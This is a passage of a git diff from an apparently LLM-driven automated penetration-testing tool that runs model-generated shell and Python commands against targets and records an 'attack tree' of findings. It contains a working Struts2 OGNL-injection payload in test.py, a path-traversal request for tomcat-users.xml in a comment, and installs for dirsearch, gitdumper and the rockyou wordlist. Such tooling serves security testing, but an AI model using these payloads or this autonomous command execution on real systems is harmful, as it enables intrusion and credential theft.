类对象渗透，要约束只读取信息，且不允许有类全局对象--持续检查 + self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs")) self.CCM = ControlCenter() #一个任务一个CCM self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象，这样可以为不同的任务选择不同的LLM #全局变量 @@ -43,27 +45,47 @@ class TaskObject: self.local_ip = local_ip self.attack_tree = None #任务节点树 self.safe_rank = 0 #安全级别 0-9 #？暂时还没实现更新逻辑 + #指令执行相关------- self.max_thread_num = num_threads #指令执行线程数量 - self.workth_list = [] #线程句柄list + self.workth_list = [None] * num_threads #线程句柄list + self.doing_instr_list= [""] * num_threads self.instr_node_queue = queue.Queue() #待执行指令的节点队列 - # self.long_instr_num = 0 #耗时指令数量 - # self.long_time_instr = ['nikto'] #耗时操作不计入批量执行的数量，不加不减 - self.lock = threading.Lock() #线程锁 self.node_num = 0 #在处理Node线程的处理 #llm执行相关-------- - #self.max_thread_num = 1 # 控制最大并发指令数量 --- 多线程的话节点树需要加锁 - self.llmth_list = [] # llm线程list + self.llm_max_nums = myCongif.get_data("LLM_max_threads") # 控制最大并发指令数量 --- 多线程的话节点树需要加锁 + self.llmth_list = [None] * self.llm_max_nums # llm线程list + self.doing_llm_list = [""] * self.llm_max_nums self.llm_node_queue = queue.Queue() #待提交LLM的节点队列 #自检线程-------- self.check_th = None #自检线程句柄 + #-----四队列----- + self.run_instr_lock = threading.Lock() # 线程锁 + self.runing_instr = {} #执行中指令记录 #---------------三个线程------------ #测试指令执行线程 - def do_worker_th(self): + def mill_instr_preprocess(self,instructions,str_split): + new_instr = [] + instrs = instructions.split(str_split) + index = 0 + for instr in instrs: + if instr.strip().startswith("curl"): + if " --max-time " not in instr: + out_time = g_instrM.get_tool_out_time("curl") + instr = instr.strip() + f" --max-time {str(out_time)}" + #instr = instr.strip() + " --max-time 10" + new_instr.append(instr) + index += 1 + new_star_instr = f"{str_split}".join(new_instr) + print(new_star_instr) + return new_star_instr + + def do_worker_th(self,index): #线程的dbm需要一个线程一个 th_DBM = DBManager() th_DBM.connect() + th_index = index while self.brun: if self.task_status == 1: try: @@ -74,9 +96,23 @@ class TaskObject: instruction = work_node.get_instr() if not instruction: break + instruction = instruction.strip() + #对多shell指令的情况进行处理--也有风险 + if "python-code" not in instruction: + if "&&" in instruction: + instruction = self.mill_instr_preprocess(instruction, "&&") + elif "||" in instruction: + instruction = self.mill_instr_preprocess(instruction, "||") + start_time = get_local_timestr() # 指令执行开始时间 - instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction) + self.doing_instr_list[th_index] = instruction + if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待，但不开始超时记时 + instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction) + else:#shell指令 + instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction) + self.doing_instr_list[th_index] = "" end_time = get_local_timestr() # 指令执行结束时间 + # 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#？ if th_DBM.ok: work_node.do_sn += 1 @@ -100,7 +136,7 @@ class TaskObject: time.sleep(self.sleep_time) #llm请求提交线程 - def th_llm_worker(self): + def th_llm_worker(self,index): ''' 几个规则--TM的work线程同 1.线程获取一个节点后，其他线程不能再获取这个节点（遇到被执行的节点，直接放弃执行）--- 加了没办法保存中间结果进行测试 @@ -110,6 +146,7 @@ class TaskObject: # 线程的dbm需要一个线程一个 th_DBM = DBManager() th_DBM.connect() + th_index = index while self.brun: if self.task_status == 1: try: @@ -132,8 +169,10 @@ class TaskObject: str_res = llm_data["result"] #获取提示词 prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt) + self.doing_llm_list[th_index] = prompt # 提交llm请求返回数据--并对返回数据进行处理，节点指令直接执行，测试指令根据工作模式执行 node_cmds, commands,reasoning_content, content, post_time = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新 + self.doing_llm_list[th_index] = "" # LLM记录存数据库 if th_DBM.ok: llm_node.llm_sn += 1 @@ -148,23 +187,53 @@ class TaskObject: 2.LLM的回复开始反复时（有点难判断） ''' # 更新tree - bok, new_commands = self.tree_manager(node_cmds, llm_node, commands, th_DBM) + bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM) # 分析指令入对应节点 if bok: # 节点指令若存在错误，测试指令都不处理，需要LLM重新生成 tmp_commands.extend(new_commands) #测试指令入节点待处理队列 --同时修改节点的work_status - self.put_node_instrlist(tmp_commands, llm_node) + self.put_node_instrlist(tmp_commands, llm_node,iadd_node) #一个节点完成，节点树持久化---待验证是否有局部更新持久化的方案 g_PKM.WriteData(self.attack_tree,str(self.task_id)) except queue.Empty: - self.logger.debug("llm队列中暂时无新的提交任务！") + #self.logger.debug("llm队列中暂时无新的提交任务！") time.sleep(self.sleep_time) else: time.sleep(self.sleep_time) - #自检线程 + #自检线程 --1.输出执行状态。2.需要自检和修复 def th_check(self): - print("自检线程待实现中！") + while self.brun: + try: + cur_time = get_local_timestr() + print(f"-----------当前时间程序运行情况:{cur_time}") + # #待执行instr-node + # instr_node_list = list(self.instr_node_queue.queue) #待执行指令的node--线程不安全 + # print(f"**当前待执行指令node的数量为:{len(instr_node_list)}") + #执行中instr-node + index = 0 + for w_th in self.workth_list: + if not w_th.is_alive():#线程 + print(f"线程-{index}已处于异常状态，需要重新创建一个工作线程") + else: + print(f"线程-{index}在执行指令：{self.doing_instr_list[index]}") + index += 1 + + index = 0 + for l_th in self.llmth_list: + if not l_th.is_alive(): + print(f"LLM线程-{index}已处于异常状态，需要重新创建一个LLM线程") + else: + print(f"LLM线程-{index}在执行指令：{self.doing_llm_list[index]}") + index += 1 + #待提交llm-node + # llm_node_list = list(self.llm_node_queue.queue) #待提交llm的node--线程不安全 + # print(f"**当前待提交llm的node的数量为:{len(llm_node_list)}") + #休眠60 + time.sleep(60) + except Exception as e: + print(f"*********自检线程异常退出:{str(e)}") + break #------------入两个nodeMQ-禁止直接调用入队列----------- def put_instr_mq(self,node): @@ -209,25 +278,42 @@ class TaskObject: if self.work_type == 1 and node.bwork: self.put_llm_mq(node) #变4 - def put_node_instrlist(self, commands, node): #如果当前节点没有进一般指令返回，需要修改节点执行状态 + #递归找节点 + def find_node_by_child_node_name(self,cur_node,node_name): + find_node = None + if cur_node.children: + for child_node in cur_node.children: + if child_node.name == node_name: + find_node = child_node + break + else: + find_node = self.find_node_by_child_node_name(child_node,node_name) + if find_node: + break + return find_node + + def put_node_instrlist(self, commands, node,iadd_node): #如果当前节点没有进一般指令返回，需要修改节点执行状态 node_list = [] #一次返回的测试指令 for command in commands: # 使用正则匹配方括号中的node_path（非贪婪模式） match = re.search(r'\[(.*?)\]', command) if match: node_path = match.group(1) + instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL) #'''强制约束，不是本节点或者是子节点的指令不处理''' - find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node) + find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands) + if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加 + node_name = node_path.split("->")[-1] + find_node = self.find_node_by_child_node_name(node,node_name) + if find_node: - instruction = re.sub(r'\[.*?\]', "", command,count=1,flags=re.DOTALL) find_node.add_instr(instruction) #DS-llm存在返回指令还会修改节点状态为已完成的问题，需要修正 find_node.status = "未完成" - if find_node not in node_list: node_list.append(find_node) self.update_node_work_status(find_node,1) #待执行 - else: + else:#如果还没找到就暂时放弃 self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到！当前节点{node.path}")#丢弃该指令 else: self.logger.error(f"得到的指令格式不符合规范：{command}")#丢弃该指令--- @@ -347,7 +433,7 @@ class TaskObject: return user_Prompt #添加子节点 - def add_children_node(self,parent_node,children_names,status="未完成"): + def add_children_node(self,parent_node,children_names,cur_node,status="未完成"): for child_name in children_names: bfind = False for node_child in parent_node.children: @@ -357,7 +443,7 @@ class TaskObject: if not bfind: # 添加节点 new_node = TreeNode(child_name, parent_node.task_id, status) - parent_node.add_child(new_node) # message的传递待验证 + parent_node.add_child(new_node,cur_node.messages) # message的传递待验证 #处理节点指令 def tree_manager(self,node_cmds,node,commands,DBM): @@ -366,42 +452,75 @@ class TaskObject: 2025-03-22添加commands参数，用于处理LLM对同一个节点返回了测试指令，但还返回了no_instruction节点指令 ''' if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令 - return True,commands + return True,commands,0 #对节点指令进行校验 bok,strerror = g_CV.verify_node_cmds(node_cmds) if not bok: #节点指令存在问题，则不进行后续处理，提交一个错误反馈任务 # 提交llm待处理任务 self.put_node_reslist(node, strerror, 2) - return False,commands - #对节点数据进行初步验证 - ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds) - if no_add_nodes:#如果有没有添加的节点，默认在当前节点下添加 -- 一般不会有，还没遇到 - self.add_children_node(node,no_add_nodes) - #ad_instr_nodes --- 还没处理 - - #先执行add_node操作 + return False,commands,0 + residue_node_cmds = [] - badd_node = False - for node_json in node_cmds: + no_instr_nodes = [] + #如果有on_instruction，先补全指令保障信息链的完整 + for node_cmd in node_cmds: + action = node_cmd["action"] + if action == "no_instruction": + node_names = node_cmd["nodes"].split(',') + for node_name in node_names: + # 先判断是否在测试指令中，若在则不提交llm任务，只能接受在一次返回中同一节点有多条测试指令，不允许分次返回 + bcommand = False + for com in commands: + if node_name in com: + bcommand = True + break + if bcommand: # 如果存在测试指令，则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令，DS会一直返回指令，还返回on_instruction + continue + no_instr_nodes.append(node_name) + else:#剩余的节点指令 + residue_node_cmds.append(node_cmd) + + if no_instr_nodes: # 阻塞式，在当前节点提交补充信息，完善节点指令 -- 优势是省token + new_commands = self.get_other_instruction(no_instr_nodes, DBM, node) + commands.extend(new_commands) + + # #对节点数据进行初步验证 + # ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds) + # if no_add_nodes:#如果有没有添加的节点，默认在当前节点下添加 -- 一般不会有，还没遇到 + # self.add_children_node(node,no_add_nodes,node) + # #ad_instr_nodes --- 还没处理 + + #先执行add_node操作---2025-4-12-调整：message取当前节点，节点允许为子节点添加子节点 + iadd_node = 0 + residue_cmd_sno_add_= [] + for node_json in residue_node_cmds: action = node_json["action"] if action == "add_node": # 新增节点 - badd_node = True parent_node_name = node_json["parent"] - status = node_json["status"] + status = "未完成" #2025-4-11修改MGS-节点指令格式，取消了status node_names = node_json["nodes"].split(',') # 新增节点原则上应该都是当前节点增加子节点 if node.name == parent_node_name or parent_node_name.endswith(node.name): #2233ai，节点名称字段会返回整个路径 - self.add_children_node(node, node_names,status) #添加子节点 - elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name): + #添加当前节点的子节点 -- 这是标准情况 + self.add_children_node(node, node_names,node) + iadd_node += len(node_names) # 添加节点的数量---当前只记录给当前节点添加的子节点的数量 + elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name):#添加当前节点的平级节点 #是添加当前节点的平级节点（当前节点的父节点下添加子节点） --使用2233ai-o3时遇到的情况 - self.add_children_node(node.parent,node_names,status) #添加当前节点的平级节点 + self.add_children_node(node.parent,node_names,node) else: - self.logger.error(f"添加子节点时，遇到父节点名称不一致的，需要介入！！{node_json}") # 丢弃该节点 - else:#其他指令添加到list - residue_node_cmds.append(node_json) + badd = False + for child_node in node.children:#给子节点添加子节点 + if parent_node_name == child_node.name or parent_node_name.endswith(child_node.name): + badd = True + self.add_children_node(child_node,node_names,node) + break + if not badd: + self.logger.error(f"添加子节点时，遇到父节点名称没有找到的，需要介入！！{node_json}") # 丢弃该节点 + else:#未处理的节点指令添加到list + residue_cmd_sno_add_.append(node_json) - if badd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点，且该节点树是当前查看的数据，需要通知前端更新数据 + if iadd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点，且该节点树是当前查看的数据，需要通知前端更新数据 idatatype = 2 strdata = "update accack_tree!" asyncio.run(g_WSM.send_data(idatatype, strdata)) @@ -409,57 +528,39 @@ class TaskObject: self.taskM.web_cur_task = 0 #执行剩余的节点指令--不分先后 - for node_json in residue_node_cmds: + for node_json in residue_cmd_sno_add_:#2025-4-11重新调整了节点指令格式定义 action = node_json["action"] - if action == "update_status": + if action == "find_vul": node_name = node_json["node"] - status = node_json["status"] - vul_type = "未发现" - if node.name == node_name or node_name.endswith(node_name): - node.status = status - if "vulnerability" in node_json: - #{\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息（没有可为空）\"}}； - #vul_type = json.dumps(node_json["vulnerability"],ensure_ascii=False) #json转字符串 - try: - node.vul_type = node_json["vulnerability"]["name"] - node.vul_grade = node_json["vulnerability"]["risk"] - node.vul_info = node_json["vulnerability"]["info"] - except: - self.logger.error("漏洞信息错误") - #node.vul_type = vul_type + vul_node = None + if node.name == node_name or node_name.endswith(node.name): #正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞 + vul_node = node + else: #匹配子节点 + for child in node.children: + if child.name == node_name or node_name.endswith(child.name): + vul_node = node + break + if vul_node: #找到对应了漏洞节点 + try: + vul_node.vul_type = node_json["vulnerability"]["name"] + vul_node.vul_grade = node_json["vulnerability"]["risk"] + vul_node.vul_info = node_json["vulnerability"]["info"] + #保存到数据库 + DBM.insert_taks_vul(self.task_id,vul_node.name,vul_node.path,vul_node.vul_type,vul_node.vul_grade, + vul_node.vul_info) + except: + self.logger.error("漏洞信息错误") + continue + else: + str_user = f"遇到不是修改本节点状态的，需要介入！！{node_json}" + self.logger.error(str_user) + elif action == "end_work": + node_name = node_json["node"] + if node.name == node_name or node_name.endswith(node_name): # 正常应该是当前节点 + node.status = "已完成" else: str_user = f"遇到不是修改本节点状态的，需要介入！！{node_json}" self.logger.error(str_user) - #self.need_user_know(str_user,node) - elif action == "no_instruction": - #返回的未生成指令的数据进行校验：1.要有数据；2.节点不是当前节点就是子节点 - nodes = [] - node_names = node_json["nodes"].split(',') - for node_name in node_names: - #先判断是否在测试指令中，若在则不提交llm任务，只能接受在一次返回中同一节点有多条测试指令，不允许分次返回 - bcommand = False - for com in commands: - if node_name in com: - bcommand = True - break - if bcommand: #如果存在测试指令，则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令，DS会一直返回指令，还返回on_instruction - continue - #验证对应节点是否已经创建---本节点或子节点，其他节点不处理（更狠一点就是本节点都不行） - bfind = False - if node_name == node.name: - bfind = True - nodes.append(node_name) - else: - for child_node in node.children: - if child_node.name == node_name: - bfind = True - nodes.append(node_name) - break - if not bfind: - self.logger.debug(f"没有找到该节点{node_name}") - if nodes: #阻塞式，在当前节点提交补充信息，完善节点指令 -- 优势是省token - new_commands = self.get_other_instruction(nodes,DBM,node) - commands.extend(new_commands) elif action == "no_create": #提交人工确认 nodes = node_json["nodes"] if nodes: @@ -470,7 +571,7 @@ class TaskObject: # self.logger.debug(f"未新增的节点有：{nodes}") else: self.logger.error("****不应该执行到这！程序逻辑存在问题！") - return True,commands + return True,commands,iadd_node #阻塞轮询补充指令 def get_other_instruction(self,nodes,DBM,cur_node): @@ -547,13 +648,14 @@ class TaskObject: self.brun = True #线程正常启动 #启动指令工作线程 for i in range(self.max_thread_num): - w_th = threading.Thread(target=self.do_worker_th) + w_th = threading.Thread(target=self.do_worker_th,args=(i,)) w_th.start() - self.workth_list.append(w_th) + self.workth_list[i] = w_th #启动llm提交线程--llm暂时单线程，多线程处理时attack_tree需要加锁 - l_th = threading.Thread(target=self.th_llm_worker) - l_th.start() - self.llmth_list.append(l_th) + for j in range(self.llm_max_nums): + l_th = threading.Thread(target=self.th_llm_worker,args=(j,)) + l_th.start() + self.llmth_list[j]=l_th #启动自检线程 self.check_th = threading.Thread(target=self.th_check) self.check_th.start() @@ -563,15 +665,6 @@ class TaskObject: self.InstrM.init_data() #结束任务需要收尾处理#？ - def do_work(self,taks_id,work_type): - ''' - 手动控制程序 - :param taks_id: - :param work_type: - :return: - ''' - pass - if __name__ == "__main__": pass \ No newline at end of file diff --git a/myutils/PickleManager.py b/myutils/PickleManager.py index 6548d39..3429267 100644 --- a/myutils/PickleManager.py +++ b/myutils/PickleManager.py @@ -1,5 +1,6 @@ import pickle import threading +import os from myutils.ConfigManager import myCongif class PickleManager: @@ -7,26 +8,46 @@ class PickleManager: self.lock = threading.Lock() # 线程锁 self.tree_file = myCongif.get_data("TreeFile") - def WriteData(self,attack_tree,filename=""): + def getfile_path(self,filename=""): + filepath = self.tree_file if filename: filepath = "tree_data/"+filename - else: - filepath = self.tree_file + return filepath + def WriteData(self,attack_tree,filename=""): + filepath = self.getfile_path(filename) with self.lock: with open(filepath, 'wb') as f: pickle.dump(attack_tree, f) def ReadData(self,filename=""): attack_tree = None - if filename: - filepath = "tree_data/"+filename - else: - filepath = self.tree_file - + filepath = self.getfile_path(filename) with self.lock: with open(filepath, "rb") as f: attack_tree = pickle.load(f) return attack_tree + def DelData(self,filename=""): + filepath = self.getfile_path(filename) + #删除文件 + try: + os.remove(filepath) + return True + except FileNotFoundError: + # 文件不存在 + return True + except PermissionError: + # 没有删除权限/文件被占用 + return False + except IsADirectoryError: + # 路径指向的是目录而非文件 + return False + except Exception as e: + # 其他未知错误（如路径非法、存储介质故障等） + print(f"删除文件时发生意外错误: {str(e)}") + return False + + + g_PKM = PickleManager() \ No newline at end of file diff --git a/pipfile b/pipfile index 14b9cee..372e846 100644 --- a/pipfile +++ b/pipfile @@ -20,6 +20,21 @@ pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/ cd /usr/share/wordlists/ gzip -d rockyou.txt.gz +pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/ + +apt install sshpass + +#----gittools---- +# 克隆 GitTools 仓库 +git clone https://github.com/internetwache/GitTools.git +# 进入工具目录 +cd GitTools/Dumper/ +# 赋予脚本执行权限 +chmod +x gitdumper.sh +# 将工具链接到系统路径（可选，方便全局调用） +sudo ln -s $(pwd)/gitdumper.sh /usr/local/bin/gitdumper + + #searchsploit -u 更新漏洞信息 #-----------------web相关------------------- pip install quart -i https://pypi.tuna.tsinghua.edu.cn/simple @@ -43,4 +58,6 @@ sudo apt-get install ttf-mscorefonts-installer sudo fc-cache -fv #更新字体缓存 fc-match Arial #验证安装 +----python2------ + diff --git a/run.py b/run.py index ab91a23..23a613a 100644 --- a/run.py +++ b/run.py @@ -14,41 +14,16 @@ async def run_quart_app(): await serve(app, config) -def test(test_type): - from mycode.LLMManager import LLMManager - from myutils.PickleManager import g_PKM - LLM = LLMManager(1) - current_path = os.path.dirname(os.path.realpath(__file__)) - print(current_path) +#-------------------测试相关---------------------- - if test_type == 4: - attact_tree = g_PKM.ReadData("4") - # 创建一个新的节点 - from mycode.AttackMap import TreeNode - testnode = TreeNode("test", 0) - LLM.build_initial_prompt(testnode) # 新的Message - systems = testnode.messages[0]["content"] - # print(systems) - # 遍历node，查看有instr的ndoe - nodes = attact_tree.traverse_bfs() - for node in nodes: - node.messages[0]["content"] = systems - g_PKM.WriteData(attact_tree, "4") - print("完成Messgae更新") - else: - pass # Press the green button in the gutter to run the script. if __name__ == '__main__': - test_type = 0 - if test_type>0: - test(test_type) - else: - print(f"Current working directory (run.py): {os.getcwd()}") - #加载未完成的工作继续执行 - g_TaskM.load_tasks() - #启动web项目--hypercorn - asyncio.run(run_quart_app()) - #Uvicom启动 - #uvicorn.run("run:app", host="0.0.0.0", port=5001, workers=4, reload=True) + print(f"Current working directory (run.py): {os.getcwd()}") + #加载未完成的工作继续执行 + g_TaskM.load_tasks() + #启动web项目--hypercorn + asyncio.run(run_quart_app()) + #Uvicom启动 + #uvicorn.run("run:app", host="0.0.0.0", port=5001, workers=4, reload=True) diff --git a/test.py b/test.py index 621a68c..6e1a4b6 100644 --- a/test.py +++ b/test.py @@ -7,75 +7,134 @@ import struct import sys import mysql.connector import requests +from mycode.LLMManager import LLMManager +from mycode.TaskObject import TaskObject +from myutils.PickleManager import g_PKM +from mycode.InstructionManager import g_instrM +from mycode.TaskManager import g_TaskM +from mycode.PythonTManager import PythonTManager +from myutils.ConfigManager import myCongif +import textwrap +class Mytest: + def update_node_inter(self,attack_index): + attack_tree = g_PKM.ReadData(attack_index) + nodes = attack_tree.traverse_dfs() + # 06-0=>p + instr = nodes[6].get_instr_user().pop(0) + nodes[6].parent.get_instr_user().append(instr) + # 39-1 + instr = nodes[39].get_instr_user().pop(1) + nodes[39].parent.get_instr_user().append(instr) + # 49-0 + instr = nodes[49].get_instr_user().pop(0) + nodes[49].parent.get_instr_user().append(instr) -def do_worker(str_instruction): - try: - # 使用 subprocess 执行 shell 命令 - result = subprocess.run(str_instruction, shell=True, text=True,capture_output=True) - - return { - "returncode": result.returncode, - "stdout": result.stdout, - "stderr": result.stderr - } - except Exception as e: - return {"error": str(e)} - -def do_worker_ftp_pexpect(str_instruction): - # 解析指令 - lines = str_instruction.strip().split('\n') - cmd_line = lines[0].split('<<')[0].strip() # 提取 "ftp -n 192.168.204.137" - inputs = [line.strip() for line in lines[1:] if line.strip() != 'EOF'] - - # 使用 pexpect 执行命令 - child = pexpect.spawn(cmd_line) - for input_line in inputs: - child.expect('.*') # 等待任意提示 - child.sendline(input_line) # 发送输入 - child.expect(pexpect.EOF) # 等待命令结束 - output = child.before.decode() # 获取输出 - child.close() - return output - -def do_worker_ftp_script(str_instruction): - # 创建临时文件保存输出 - with tempfile.NamedTemporaryFile(delete=False) as tmpfile: - output_file = tmpfile.name - - # 构建并执行 script 命令 - script_cmd = f"script -c '{str_instruction}' {output_file}" - result = subprocess.run(script_cmd, shell=True, text=True) - - # 读取输出文件内容 - with open(output_file, 'r') as f: - output = f.read() + g_PKM.WriteData(attack_tree, attack_index) - # 删除临时文件 - os.remove(output_file) - return output - - -import socket -import ssl +if __name__ == "__main__": + # 示例使用 + mytest = Mytest() + LLM = LLMManager(1) + PythonM = PythonTManager(myCongif.get_data("Python_max_procs")) + current_path = os.path.dirname(os.path.realpath(__file__)) + print(current_path) + test_type = 1 + task_id = 16 + task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None) + if test_type == 1: +# # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen'] + str_instr = '''python-code +import requests def dynamic_fun(): + # 基于布尔条件的盲注检测 + true_condition = "'test'=='test'" + false_condition = "'test'=='wrong'" + + payload_template = ( + "%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])" + ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + ".(#ognlUtil.getExcludedPackageNames().clear())" + ".(#ognlUtil.getExcludedClasses().clear())" + ".(#context.setMemberAccess(#dm))))." + f"(#result=@java.lang.Boolean@parseBoolean({{}}))}}" + ) + try: - host = "58.216.217.70" - port = 992 - # Create a socket and wrap it with SSL context since service is SSL/Telnet - context = ssl.create_default_context() - sock = socket.create_connection((host, port), timeout=5) - ssl_sock = context.wrap_socket(sock, server_hostname=host) - # Attempt to receive banner - banner = ssl_sock.recv(1024) - ssl_sock.close() - return (True, banner.decode("utf-8", errors="ignore")) + # 发送真条件请求 + true_payload = payload_template.format(true_condition) + r_true = requests.get( + 'http://192.168.204.137', + headers={'Content-Type': true_payload}, + timeout=10 + ) + + # 发送假条件请求 + false_payload = payload_template.format(false_condition) + r_false = requests.get( + 'http://192.168.204.137', + headers={'Content-Type': false_payload}, + timeout=10 + ) + + # 对比响应差异 + if r_true.status_code != r_false.status_code: + return (True, f'Different status codes detected (True: {r_true.status_code} vs False: {r_false.status_code})') + + if len(r_true.content) != len(r_false.content): + return (True, f'Content length difference detected (True: {len(r_true.content)} vs False: {len(r_false.content)})') + + return (False, 'No observable differences between true/false conditions') + except Exception as e: - return (False, str(e)) + return (False, f'Request failed: {str(e)}') + ''' + #str_instr = str_instr.strip() + " --max-time 10" + dedented_code = textwrap.dedent(str_instr.strip()) + #对多shell指令的情况进行处理--也有风险 + if "python-code" not in dedented_code: + if "&&" in dedented_code: + dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&") + elif "||" in dedented_code: + dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||") + instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code) + else: + instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code) + print("----执行结果----") + print(reslut) + elif test_type == 2: #给节点添加指令 + g_TaskM.load_tasks() + task = g_TaskM.tasks[task_id] + nodes = task.attack_tree.traverse_dfs() + cur_node = nodes[78] + commands = [ + ] + for cmd in commands: + cur_node.add_instr(cmd) + cur_node.update_work_status(1) + #保存数据 + g_PKM.WriteData(task.attack_tree,str(task.task_id)) + elif test_type ==3: #按格式读取指令 + pass + elif test_type == 4: # 修改Messages + attact_tree = g_PKM.ReadData("6") + # 创建一个新的节点 + from mycode.AttackMap import TreeNode -if __name__ == "__main__": - # 示例使用 - bok,res = dynamic_fun() - print(bok,res) \ No newline at end of file + testnode = TreeNode("test", 0) + LLM.build_initial_prompt(testnode) # 新的Message + systems = testnode.messages[0]["content"] + # print(systems) + # 遍历node，查看有instr的ndoe + nodes = attact_tree.traverse_bfs() + for node in nodes: + node.messages[0]["content"] = systems + g_PKM.WriteData(attact_tree, "6") + print("完成Messgae更新") + else: + pass diff --git a/tools/ArpingTool.py b/tools/ArpingTool.py new file mode 100644 index 0000000..db7cdee --- /dev/null +++ b/tools/ArpingTool.py @@ -0,0 +1,11 @@ +from tools.ToolBase import ToolBase + +class ArpingTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/CurlTool.py b/tools/CurlTool.py index fc47fc1..957fb5c 100644 --- a/tools/CurlTool.py +++ b/tools/CurlTool.py @@ -12,60 +12,43 @@ class CurlTool(ToolBase): # self.url = None # self.verify_ssl = True - #解析指令到requests - def parse_curl_to_requests(self,curl_command): - # Split command preserving quoted strings - parts = shlex.split(curl_command) - if parts[0] != 'curl': - raise ValueError("Command must start with 'curl'") - - # Parse curl flags and arguments - i = 1 - while i < len(parts): - arg = parts[i] - if arg == '-k' or arg == '--insecure': - self.verify_ssl = False - i += 1 - elif arg == '-s' or arg == '--silent': - # Silencing isn't needed for requests, just skip - i += 1 - elif arg == '-H' or arg == '--header': - if i + 1 >= len(parts): - raise ValueError("Missing header value after -H") - header_str = parts[i + 1] - header_name, header_value = header_str.split(':', 1) - self.headers[header_name.strip()] = header_value.strip() - i += 2 - elif not arg.startswith('-'): - if self.url is None: - self.url = arg - i += 1 - else: - i += 1 - - if self.url is None: - raise ValueError("No URL found in curl command") - - #return url, headers, verify_ssl + def get_time_out(self): + return 60*5 def validate_instruction(self, instruction_old): #instruction = instruction_old #指令过滤 - timeout = 0 + timeout = 0 #curl指令遇到不返回的情况 curl --path-as-is -i http://192.168.204.137:8180/webapps/../conf/tomcat-users.xml #添加-i 返回信息头 - parts = instruction_old.split() if 'base64 -d' in instruction_old: return instruction_old - if "-I" not in parts:#-I 仅输出响应头信息 - if '-i' not in parts and '--include' not in parts: - url_index = next((i for i, p in enumerate(parts) if p.startswith(('http://', 'https://'))), None) + + # 如果指令中含有管道，将第一部分（即 curl 命令）单独处理，再拼接回去 + parts = instruction_old.split('|') #grep情况处理 + first_cmd = parts[0].strip() # 第一条命令 + # 分割成单词列表便于处理参数 + curl_parts = first_cmd.split() + # 如果第一条命令是 curl，则进行处理 + if curl_parts and curl_parts[0] == "curl": #只是处理了第一个curl + # 判断是否需要添加包含响应头的选项：若没有 -I、-i 或 --include，则在 URL前插入 -i + if "-I" not in curl_parts and '-i' not in curl_parts and '--include' not in curl_parts: + # 查找以 http:// 或 https:// 开头的 URL 参数所在位置 + url_index = next((i for i, p in enumerate(curl_parts) + if p.startswith('http://') or p.startswith('https://')), None) if url_index is not None: - # 在URL前插入 -i 参数‌:ml-citation{ref="1" data="citationList"} - parts.insert(url_index, '-i') + curl_parts.insert(url_index, '-i') else: - # 无URL时直接在末尾添加 - parts.append('-i') - return ' '.join(parts),timeout + curl_parts.append('-i') + + # 判断是否已经有 --max-time 参数 + if not any(p.startswith("--max-time") for p in curl_parts): + curl_parts.append("--max-time") + curl_parts.append(str(self.get_time_out())) #添加超时时间 + # 将第一部分命令重组 + parts[0] = ' '.join(curl_parts) + # 将所有部分重新用 | 拼接起来（保留管道符号两边的空格） + final_instruction = ' | '.join(part.strip() for part in parts) + return final_instruction, timeout def get_ssl_info(self,stderr,stdout): # -------------------------- @@ -244,6 +227,7 @@ class CurlTool(ToolBase): #转换成字符串 result = json.dumps(info,ensure_ascii=False) + result = result+"\n结果已经被格式化提取，若需要查看其他内容，可以添加grep参数后返回指令。" #print(result) return result @@ -273,14 +257,14 @@ class CurlTool(ToolBase): elif("resource=config.php" in instruction): if "base64: 无效的输入" in result: result="该漏洞无法利用" - elif("Date:" in instruction): #保留原结果 - print("") elif("-kv https://" in instruction or "-vk https://" in instruction): result = self.get_ssl_info(stderr,stdout) - elif("-X POST " in instruction): - result = self.get_info_curl(instruction,stdout,stderr) - elif("-v " in instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容 - result = self.get_info_curl(instruction,stdout,stderr) + elif("grep " in instruction or " -T " in instruction or "Date:" in instruction): + return result + # elif("-X POST " in instruction): + # result = self.get_info_curl(instruction,stdout,stderr) + # elif("-v " in 